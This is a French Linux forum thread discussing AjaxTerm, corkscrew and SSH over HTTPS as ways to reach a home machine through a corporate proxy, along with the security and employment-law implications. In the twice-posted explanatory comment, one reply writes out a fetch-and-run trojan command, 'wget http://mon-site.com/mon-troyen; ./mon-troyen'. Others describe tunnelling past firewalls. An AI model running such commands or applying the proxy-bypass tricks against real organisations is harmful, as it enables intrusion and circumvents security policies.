"secure"

• [^]Re: "secure"

  Posté par yoho (page perso, ) le 29/05/2006 à 18:11. (lien). Évalué à 9.

  En https, configuré pour n'accepter que ton certificat, c'est pas mal, oui.
  
  Maintenant, le problème de ces solutions "VPN-like" (et je met ssh dedans) c'est qu'on ouvre un pont entre deux réseaux qui n'étaient pas faits pour travailler ensemble à la base. Donc c'est un bon moyen pour les virus de passer et de s'étendre : en gros, si une machine est compromise, il est relativement aisé de compromettre l'autre. Tu as donc intérêt à être sûr de tes deux machines.
  
  Sans compter que tu outrepasse la politique de sécurité de ton entreprise et que suivant comment elles sont, tu peux te retrouver à la porte pour avoir fait un truc pareil.

  • [^]Re: "secure"

    Posté par aedrin () le 29/05/2006 à 20:57. (lien). Évalué à 7.

    je pense que la question portait plus sur le barbarisme/anglicisme que sur le côté sécurité...
    
    en même temps ta réponse est bonne, donc je "pertinentise" !

  • [^]Re: "secure"

    Posté par Uld (page perso, ) le 29/05/2006 à 21:50. (lien). Évalué à 7.

    Se faire virer?? l'entreprise n'autorise pas le port 22 sur son proxy mais autorise le http et https. Toi, utilisateur lambda, tu utilise une connexion https pour te connecteur sur ton propre serveur web, qui celà dit en passant est un serveur public comme un autre. En quoi est ce illégal vis à vis de la charte de l'entreprise?
    Si on te permets de surfer en https, je ne pense pas qu'on puisse te virer au motif que tu le fait pour te connecter sur un serveur si peu différent de n'importe quel autre... A ce moment là autant te virer dès que tu visite n'importe site web en ajax, ou n'importe quel webmail (le principe dans la théorie est le meme, appli tournant sur un serveur web permettant de te connecter sur le port pop ou imap de la-dite machine).
    
    Bref, j'y crois pas trop.

    --
    Ubuntu is an ancient african word meaning : "I can't configure Debian".

    • [^]Re: "secure"

      Posté par olosta () le 29/05/2006 à 22:51. (lien). Évalué à 4.

      En quoi est ce illégal vis à vis de la charte de l'entreprise?

      
      
      Si la charte de ton entreprise dit un truc du genre "l'accès internet sur les postes de l'entreprise est réservé à un usage strictement professionnel", ben je suis pas sur que te connecter a ta box pour faire de l'IRC, lire tes mails | logs, lancer tes aptitude upgrade |emerge world ou mater un divx avec aaxine rentre dans cette catégorie.
      
      

      A ce moment là autant te virer dès que tu visite n'importe site web en ajax, ou n'importe quel webmail

      
      
      J'ai bossé dans une centre de recherche français à la sécurité paranoïaque ou l'usage d'un webmail depuis le réseau interne était strictement interdit.

      • [^]Re: "secure"

        Posté par Nicolas Schoonbroodt (Jabber id, page perso, ) le 29/05/2006 à 22:59. (lien). Évalué à 6.

        Mater un divx avec aaxine en passant par une console ajax, voila qui mérite d'être essayé... Mais pas nécessairement depuis le boulot :-P

        --
        [ Répondre ] Ce commentaire est-il impertinent ou utile ?

      • [^]Re: "secure"

        Posté par G. R. (page perso, ) le 30/05/2006 à 08:03. (lien). Évalué à 2.

        Si la charte de ton entreprise dit un truc du genre "l'accès internet sur les postes de l'entreprise est réservé à un usage strictement professionnel", ben je suis pas sur que te connecter a ta box pour faire de l'IRC, lire tes mails | logs, lancer tes aptitude upgrade |emerge world ou mater un divx avec aaxine rentre dans cette catégorie.

        
        
        Ce n'est pas si simple.
        
        La jurisprudence sur ce sujet est clair. A partir du moment ou un outil technique est fourni aux salariés, l'usage privé est toléré, et ne peux en aucun cas être motif de licenciement. Sauf si ça nuit de manière avéré à ton travail. C'est la même chose pour le téléphone ou pour la messagerie électronique.
        
        Maintenant, détourner l'usage d'un outil de manière illicite, en mettant en danger la sécurité de l'entreprise, peut être considéré comme une faute grave et alors entrainer un licenciement. Mais il va falloir le prouver et argumenter.

        • [^]Re: "secure"

          Posté par PLuG () le 30/05/2006 à 12:14. (lien). Évalué à 2.

          Il me semble que c'est le coté "utilisation urgente et ponctuelle" qui est tolérée de facto. Ensuite la charte informatique est la pour dicter ce qui est (ou non) toléré par l'entreprise, et celles qu'il m'a été donné de lire stipulent justement qu'elles respectent la loi et permettent les utilisations ponctuelles et urgentes.
          
          Par exemple l'entreprise ne pourra pas te mettre a la porte si tu passe des coups de fil privés parceque ton gosse est malade, t'es à découvert et t'appelle ton banquier, ... c'est le caractère de nécéssité qui prévaut.
          Si le but c'est de travailler sur des affaires personnelles depuis le boulot en se loggant sur ta machine de la maison, ... faudra prouver le "ponctuel" et "urgent" :-)

          • [^]Re: "secure"

            Posté par Alexandre Garel () le 01/06/2006 à 05:48. (lien). Évalué à 1.

            Moi je pense que tu ne peux être viré pour ça (usage privé) sauf si il y a un tord avéré pour l'entreprise (genre introduction d'un virus).
            Par contre là où je bosse, c'est plus simple, ils ne te virent pas, ils te retirent l'accès internet.

    • [^]Re: "secure"

      Posté par a_jr () le 29/05/2006 à 23:12. (lien). Évalué à 0.

      Si on te permets de surfer en https

      
      
      Mais comme on ne nous permet pas de surfer, meme en https...
      
      En general, internet est accessible en tant qu'outil de travail. Se connecter chez soi n'est a priori pas pour le travail. Et si c'etait quand meme pour le travail, l'employeur doit permettre une connexion directe entre le boulot et chez soi. Pas besoin d'ajaxterm dans ce cas. Et si l'employeur refuse, bah c'est simple, vous vous passez de l'outil, et l'employeur assume la perte de temps et la baisse de qualite de votre boulot. On n'a pas rien sans rien.
      
      Enfin, en "surfant" avec ajaxterm, vous risquez de vous faire remarquer surtout parce que vous passez du temps dessus au lieu de bosser pour l'employeur. C'est pas bien du tout.
      De plus, ajaxterm est un intermediaire entre deux reseaux, qui insere donc des failles dans les protections du systeme d'information de l'entreprise. Si un probleme survenait dans ce systeme d'information, vous et votre ajaxterm seriez probablement reperes et la, c'est a la discretion de l'employeur...
      
      Le bonjour chez vous,
      Yves

      • [^]Re: "secure"

        Posté par L (page perso, ) le 30/05/2006 à 03:47. (lien). Évalué à 6.

        > De plus, ajaxterm est un intermediaire entre deux reseaux, qui insere donc des failles dans les protections du systeme d'information de l'entreprise.
        
        Vous vous êtes passez le mot ou c'est un effet de mode que de sortir des ânerie pareilles sans réfléchir ?

        • [^]Re: "secure"

          Posté par L (page perso, ) le 30/05/2006 à 04:00. (lien). Évalué à 4.

          Je me permets de me répondre à moi-même avec mon autorisation : ce n'est pas un effet de mode et ce n'est pas le passage de mot non plus, c'est juste que je répondais deux fois à la même personne /o\

  • [^]Re: "secure"

    Posté par L (page perso, ) le 30/05/2006 à 03:40. (lien). Évalué à 7.

    > le problème de ces solutions "VPN-like" (et je met ssh dedans) c'est qu'on ouvre un pont entre deux réseaux qui n'étaient pas faits pour travailler ensemble à la base.
    
    Un réseau connecté à Internet est un réseau "fait pour se connecter ensemble à la base" par définition. Internet est un réseau auquel on ne connecte pas un autre réseau s'il n'est pas fait "pour se connecter ensemble à la base". Si un réseau doit être ultra-méga-top-sécurisé parce qu'il n'est pas "fait pour se connecter ensemble à la base", la solution est simple : on débranche le câble Internet. Et je caricature à peine. Par ailleurs, AjaxTerm n'a strictement rien à voir avec un VPN : là on parle de HTTP (non connecté par définition), d'échange de sortie d'écran et de saisies clavier. De là à dire que ça correspond à un VPN du style SSH ...
    
    > Donc c'est un bon moyen pour les virus de passer et de s'étendre : en gros, si une machine est compromise, il est relativement aisé de compromettre l'autre. Tu as donc intérêt à être sûr de tes deux machines.
    
    AjaxTerm est simple : l'entrée standard est envoyée chez toi, la sortie standard est retournée dans ton navigateur. Comment veux-tu qu'un virus se propage ? Ok, tu vas me répondre que s'il existe un virus sous Linux qui arrive à obtenir les droits pour exploiter juste AjaxTerm/Apache pour qu'il envoie une capture spécialement conçue qui exploite un faille du navigateur pour qu'il exécute un code malicieux qui exploite une faille du système d'exploitation pour obtenir droits privilégiés pour exploiter tout le réseau d'entreprise (et évidemment le monde) ... Bien que techniquement, ce ne soit pas impossible, la probabilité d'un tel scénario est si insignifiante que même un cafard mérite plus d'attention. Et surtout, prendre en compte un tel scénario sous prétexte de sécurité, c'est aussi sérieux que souscrire à une assurance tout risque en cas d'explosion de notre galaxie.
    
    > Sans compter que tu outrepasse la politique de sécurité de ton entreprise et que suivant comment elles sont, tu peux te retrouver à la porte pour avoir fait un truc pareil.
    
    En utilisant un navigateur Web ? À la rigueur, l'argument comme quoi des applications comme AjaxTerm génèrent du trafic potentiellement coûteux et/ou gênant pour l'entreprise et cela à des fins non professionnelles peut largement et facilement être utilisé pour lourder l'employé. Pas besoin d'aller se ridiculiser avec une violation de la sécurité de l'entreprise parce qu'il a normalement utilisé un navigateur Web mis à disposition par l'entreprise.

    • [^]Re: "secure"

      Posté par Matthieu Moy (page perso, ) le 30/05/2006 à 05:04. (lien). Évalué à 2.

      > Par ailleurs, AjaxTerm n'a strictement rien à voir avec un VPN : là on parle de
      > HTTP (non connecté par définition), d'échange de sortie d'écran et de saisies
      > clavier. De là à dire que ça correspond à un VPN du style SSH ...
      
      ... il n'y a qu'un pas !
      
      Techniquement, c'est compliqué à implémenter, mais théoriquement, ça ne pose pas de difficulté. Tu écris un programme, disons A, qui se comporte comme un navigateur du point de vue du serveur AjaxTerm, mais non interactif. A envoie quelques commandes pour lancer un demon B sur le serveur qui fait tourner AjaxTerm (genre "wget http://mon-site.com/mon-troyen; ./mon-troyen"). Le petit démon B en question peut être un sshd à peine modifié, pour recevoir ses ordres dans stdin et envoyer les données par stdout. Ton programme A se comporte alors comme un client ssh, et B comme le serveur ssh, et tu peux implémenter tout ce que tu faisais avec ssh à travers ton AjaxTerm (avec des performances lamentables, mais bon), y compris le forward de port.
      
      Bref, tu peux très bien implémenter un VPN over AjaxTerm.
      
      Par contre, si la machine avec AjaxTerm est compromise, à priori, ça ne lui donne aucun moyen de compromettre le client.

      • [^]Re: "secure"

        Posté par L (page perso, ) le 30/05/2006 à 13:35. (lien). Évalué à 3.

        > Techniquement, c'est compliqué à implémenter, mais théoriquement, ça ne pose pas de difficulté. Tu écris un programme, disons A, qui se comporte comme un navigateur du point de vue du serveur AjaxTerm, mais non interactif. A envoie quelques commandes pour lancer un demon B sur le serveur qui fait tourner AjaxTerm
        
        Dans ce cas, AjaxTerm n'est pas une menace pour le réseau de l'entreprise : c'est ton programme A qui peut l'être. D'ailleurs ton programme A peut directement se connecter sur ta machine distante sans AjaxTerm et il peut permettre l'échange efficace de données. On est loin d'AjaxTerm là ...

        • [^]Re: "secure"

          Posté par Matthieu Moy (page perso, ) le 30/05/2006 à 19:09. (lien). Évalué à 1.

          > c'est ton programme A qui peut l'être.
          
          Là, on parle de sécurité. Le programme A, ça peut très bien être un virus ou n'importe quoi que tu ne controles pas.
          
          > D'ailleurs ton programme A peut directement se connecter sur ta machine distante sans AjaxTerm
          
          Ben, là, il est question de contourner les politiques de sécurité, les VPN, toussa, donc, non, le programme A, il ne peut pas se connecter directement.
          
          (hint: google, firewall, proxy, et revient en parler un peu après si tu veux).

    • [+] [^]Re: "secure"

      Posté par Matthieu Moy (page perso, ) le 30/05/2006 à 05:57. (lien). Évalué à -3.

      > Par ailleurs, AjaxTerm n'a strictement rien à voir avec un VPN : là on parle de
      > HTTP (non connecté par définition), d'échange de sortie d'écran et de saisies
      > clavier. De là à dire que ça correspond à un VPN du style SSH ...
      
      ... il n'y a qu'un pas !
      
      Techniquement, c'est compliqué à implémenter, mais théoriquement, ça ne pose pas de difficulté. Tu écris un programme, disons A, qui se comporte comme un navigateur du point de vue du serveur AjaxTerm, mais non interactif. A envoie quelques commandes pour lancer un demon B sur le serveur qui fait tourner AjaxTerm (genre "wget http://mon-site.com/mon-troyen; ./mon-troyen"). Le petit démon B en question peut être un sshd à peine modifié, pour recevoir ses ordres dans stdin et envoyer les données par stdout. Ton programme A se comporte alors comme un client ssh, et B comme le serveur ssh, et tu peux implémenter tout ce que tu faisais avec ssh à travers ton AjaxTerm (avec des performances lamentables, mais bon), y compris le forward de port.
      
      Bref, tu peux très bien implémenter un VPN over AjaxTerm.
      
      Par contre, si la machine avec AjaxTerm est compromise, à priori, ça ne lui donne aucun moyen de compromettre le client.

Y'a aussi anyterm...

• [^]Re: Y'a aussi anyterm...

  Posté par champi (page perso, ) le 29/05/2006 à 19:25. (lien). Évalué à 5.

  Configurer un virtualhost avec reverse proxy et reecriture d'url n'est pas si compliqué quand on a une bonne doc :
  
  http://www.cps-project.org/sections/documentation/cps-dev-ce(...)
  
  C'est une doc très complète pour Zope / CPS mais ca marche aussi avec ajaxterm.
  
  --
  Olivier

sslexplorer ?

Mais on peut faire plus que du ssh avec

J'ai pas tout pige...

• [^]Re: J'ai pas tout pige...

  Posté par Xavier Maillard (Jabber id, page perso, ) le 29/05/2006 à 21:57. (lien). Évalué à 1.

  Bon en fait c'est tres simple :) J'ai un peu honte.
  
  C'est vraiment puissant et sympa. Depuis le temps que je reflechis au comment traverser le proxy...
  
  J'avais a une epoque mis un webmin avec le module webconsole mais c'etait pas trop ca :)
  
  La c'est plutot cool.

  --
  Xavier Maillard
  Rapport Cedras
  NON A NICOLAS SARKOZY
  NON A NICOLAS SARKOZY

  • [^]Re: J'ai pas tout pige...

    Posté par Matthieu Moy (page perso, ) le 30/05/2006 à 05:58. (lien). Évalué à 2.

    http://www.google.com/search?q=corkscrew+ssh+https
    
    C'est bien plus efficace pour faire du ssh-over-https avec proxy.
    
    Mais c'est probablement très limite par rapport à la charte d'utilisation des moyens informatiques de ta boite.

    • [^]Re: J'ai pas tout pige...

      Posté par yoho (page perso, ) le 30/05/2006 à 18:00. (lien). Évalué à 2.

      J'ai été voir la page de corkscrew que je trouve assez succinte... c'est quoi la différence entre corkscrew et faire tourner le démon ssh chez soi sur le port 443 ?

      • [^]Re: J'ai pas tout pige...

        Posté par Matthieu Moy (page perso, ) le 30/05/2006 à 19:10. (lien). Évalué à 2.

        C'est juste de passer à travers le proxy de ton côté, et c'est effectivement un hack relativement trivial. Mais de l'autre côté, oui, c'est un ssh qui tourne sur le port 443.

        • [^]Re: J'ai pas tout pige...

          Posté par yoho (page perso, ) le 31/05/2006 à 16:42. (lien). Évalué à 2.

          Alors quelle est la différence entre corkscrew et un autre client ssh normal (ssh ou putty, par exemple) ?

          • [^]Re: J'ai pas tout pige...

            Posté par Matthieu Moy (page perso, ) le 31/05/2006 à 18:48. (lien). Évalué à 4.

            Si tu as un firewall entre toi et la machine cible, tu peux toujours essayer de faire un ssh, ça ne marchera pas, il sera bloqué par le firewall. Ce qu'il te faut pour passer à travers le firewall via le proxy, c'est un truc qui se connecte au proxy, et qui lui demande dans le langage des proxys de se connecter à ta machine.
            
            Là, l'astuce, c'est qu'il faut demander au proxy d'établir une connection HTTPS, et en HTTPS, le proxy n'a aucun contrôle sur le contenu (sinon, ça serait une attaque man-in-the-middle), donc, tu peux bien faire passer du ssh à la place du HTTP chiffré, le proxy n'y voit que du feu. Une fois la connection établie, donc, au lieu d'envoyer les paquets directement a la machine vers laquelle tu te connecte, tu les envoies au proxy, et tu recoit de lui.
            
            Corkscrew n'est pas un client ssh, c'est juste un tout petit programme qui fait la bidouille décrite ci-dessus, et tu configures ton OpenSSH pour utiliser corkscrew pour établir la connection. C'est en plus, pas à la place de.

[+] et en XUL ?

• [^]Re: et en XUL ?

  Posté par farib () le 29/05/2006 à 23:12. (lien). Évalué à 10.

  Y'a quelqu'un qui recherche un développeur, mais il trouve pas.

• [^]Re: et en XUL ?

  Posté par Clément Stenac (page perso, ) le 30/05/2006 à 07:38. (lien). Évalué à 6.

  Il dit qu'il ne voit pas le rapport.
  
  XUL ici viendrait remplacer la partie HTML du bidule, sans aucune modification de ce qu'il y a derrière.
  
  XUL ne va pas magiquement transformer le trafic HTTP utilisé pour faire passer les commandes, et qui, oui, est nécessairement très lourd avec de nombreuses requêtes, en un nouveau protocole super optimisé.
  
  AJAX ne veut vraiment pas dire grand chose, au final, c'est juste "requêtes HTTP faites par une commande javascript", ce qui, avec une solution où l'affichage serait basé sur du XUL, serait strictement identique.

  • [^]Re: et en XUL ?

    Posté par Boa Treize (page perso, ) le 30/05/2006 à 09:50. (lien). Évalué à 1.

    La seule chose que je vois de plus efficace, c'est une applet Java qui utilise un protocole bien optimisé pour minimiser le dialogue avec le serveur.

    • [^]Re: et en XUL ?

      Posté par Antoine Jacquet (page perso, ) le 30/05/2006 à 10:21. (lien). Évalué à 1.

      Genre http://shellinabox.com/ ?
      Enfin pour avoir testé le dialogue n'est pas "minimisé", ça fait toujours plein de GET/POST, mais c'est pratique aussi.

En pratique

• [^]Re: En pratique

  Posté par Damien Metzler () le 30/05/2006 à 09:20. (lien). Évalué à 2.

  En même temps, avec 10s de temps libre, tu télécharge le tar.gz, tu installe ça sur n'importe quel linux avec python2.3 et tu testes.
  
  Ca a le mérite de ne pas te limiter dans tes manipulation (tu as tes droits à toi) et de ne pas demander à quelqu'un de prendre les 10 secondes à ta place + l'heure de config pour être sur de ne pas ouvrir de backdoor à n'importe qui en leur filant un compte local sur sa machine (et encore.... une heure je suis gentil).

• [^]Re: En pratique

  Posté par Fritz (page perso, ) le 30/05/2006 à 11:48. (lien). Évalué à 3.

  J'ai fait un tutorial puor installer ce petit truc ici : http://smhteam.info/wiki/index.linux.php5?wiki=AjaxTerm
  Pour la partie installation d'apache (il vaut mieux utiliser apache 2) il y a ça aussi : http://smhteam.info/wiki/index.linux.php5?wiki=ServeurWebAve(...)
  
  ça marche nickel chez moi ! Et c'est bien pratique au final :)

  • [^]Re: En pratique

    Posté par Slainer (Jabber id, page perso, ) le 30/05/2006 à 13:04. (lien). Évalué à 3.

    fritz_smh > héhéhé ! Au fait, juste comme ça, dans le screenshot en bas, t'as flouté ton IP dans la barre d'adresse mais pas dans la barre d'état :D !

    • [^]Re: En pratique

      Posté par Fritz (page perso, ) le 30/05/2006 à 13:34. (lien). Évalué à 1.

      ah le boulet que je fais... merci d'avoir prévenu :)
      
      et je re confirme, ça marche vraiment bien... pas très rapide, (loin derrière une connection ssh classique en terme de réactivité au clavier), mais c'ets du pareil au même sinon.

Pour aller un poil plus loin

proxy avec filtrage d'URL

• [^]Re: proxy avec filtrage d'URL

  Posté par mornik () le 31/05/2006 à 11:30. (lien). Évalué à 1.

  chez nous le filtrage est aléatoire (on a pas accès au site d'ibm, mais à quelques sites entierement dédié au jeu, alors qu'ibm est un fournisseur...), le ssl est totalement bloqué, mais le dyndns marche :)
  
  ajaxterm c'est genial, bon après faut pas en abuser, il faut faire son travail. Sur ce ...

• [^]Re: proxy avec filtrage d'URL

  Posté par Alexandre Garel () le 01/06/2006 à 05:58. (lien). Évalué à 2.

  chez nous il n'empêche pas les accès mais trace les accès. La RH regarde ensuite le top des temps estimés de connexion, et les connexions vers des sites interdits (chez nous : webmail, météo, bourse...)

• [^]Re: proxy avec filtrage d'URL

  Posté par kaouete (page perso, ) le 02/06/2006 à 09:58. (lien). Évalué à 2.

  Et bien ca a mon gout c'est tres tres nul !
  
  Ayant deja eu a consulter une page qui etait bloquée car en dyndns, j'ai trouvé ca tres frustrant surtout quand on sait que pleins de ce genre de pages sont des pages de developpeurs (par exemple) qui mettent leurs travaux dessus (et travaux dont j'ai besoin pour mon travail).

  • [^]Re: proxy avec filtrage d'URL

    Posté par Nicolas P. (page perso, ) le 02/06/2006 à 12:19. (lien). Évalué à 2.

    Voyons, il est bien connu que ceux qui ont des sites personnels en dyndns.org sont au mieux des amateurs dépourvus de professionalisme, au pire des dangereux pirates, et que...
    
    ...oh, joie! Alors que je viens de cliquer sur ce genre de lien ( http://chezlionel.dyndns.org/modules/news/ ) dans google pour obtenir les termes exacts du message de mon proxy, je m'aperçois que ce dernier m'autorise à y accéder!

    --
    this != '|' ;

Package Archlinux